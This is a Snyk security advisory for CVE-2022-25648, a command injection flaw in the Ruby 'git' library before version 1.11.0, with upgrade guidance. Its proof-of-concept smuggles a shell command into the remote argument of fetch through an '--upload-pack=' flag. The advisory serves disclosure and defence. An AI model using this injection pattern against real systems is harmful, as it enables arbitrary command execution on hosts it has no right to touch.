Command Injection Affecting git package, versions <1.11.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.21% (59th percentile)

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  • Snyk IDSNYK-RUBY-GIT-2421270
  • published19 Apr 2022
  • disclosed11 Mar 2022
  • creditAlessio Della Libera of Snyk Research Team

Introduced: 11 Mar 2022

CVE-2022-25648  (opens in a new tab)
CWE-78  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade git to version 1.11.0 or higher.

Overview

git is a Ruby library that can be used to create, read and manipulate Git repositories by wrapping system calls to the git binary.

Affected versions of this package are vulnerable to Command Injection via git argument injection. When calling the fetch(remote = 'origin', opts = {}) function, the remote parameter is passed to the git fetch subcommand in a way that additional flags can be set. The additional flags can be used to perform a command injection.

PoC

require "git"

g = Git.init('project')

origin = "--upload-pack=touch ./HELLO1;"
g.fetch(origin, {:ref => 'some/ref/head'} )

# ls -la

CVSS Scores

version 3.1